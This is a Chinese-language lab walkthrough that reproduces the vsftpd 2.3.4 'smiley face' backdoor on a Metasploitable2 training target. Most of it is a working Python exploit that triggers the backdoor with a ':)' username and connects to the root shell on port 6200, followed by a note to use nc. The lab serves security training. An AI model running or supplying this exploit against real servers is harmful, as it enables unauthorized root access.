笑脸漏洞复现
本实验以Metasploitable2靶机为实验对象
在前面的实验中我们已经获取到Metasploitable2靶机的IP地址,这里不再多做赘述。
首先使用nmap -sV查看靶机目前开放的端口及其版本
之后在kali中创建以下python文件脚本
(来源:csdn@十门)
import socket
import time
def connect_to_ftp(host, port):
try:
# 连接到FTP服务器
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp_socket.connect((host, port))
print(f"成功连接到FTP服务器 {host}:{port}")
# 接收FTP欢迎消息
response = ftp_socket.recv(1024).decode()
print(f"FTP服务器响应: {response}")
# 发送恶意用户名
ftp_socket.send(b'USER hacker:)\r\n')
time.sleep(1)
# 发送密码
ftp_socket.send(b'PASS anypassword\r\n')
time.sleep(1)
response = ftp_socket.recv(1024).decode()
print(f"FTP响应: {response}")
# 检查是否能够连接到后门shell
return check_backdoor_shell(host)
except Exception as e:
print(f"连接FTP服务器失败: {e}")
def check_backdoor_shell(host):
try:
# 连接到6200端口,后门shell可能开启
shell_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell_socket.connect((host, 6200))
print("后门shell已打开!连接到6200端口成功。")
# 向shell发送命令,获取root权限
shell_socket.send(b'id\n')
time.sleep(1)
response = shell_socket.recv(1024).decode()
print(f"从shell获得的响应: {response}")
shell_socket.close()
return True
except Exception as e:
print(f"连接6200端口失败: {e}")
return False
if __name__ == "__main__":
target_host = "********" # 下载的Metasploitable2的IP地址,记得自己修改
target_port = 21 # FTP默认端口
connect_to_ftp(target_host, target_port)
在kali中启动以上脚本,发现成功连接至6200端口,至此,我们可以确定该漏洞存在
之后我们使用nc命令进行漏洞复现,连接至6200端口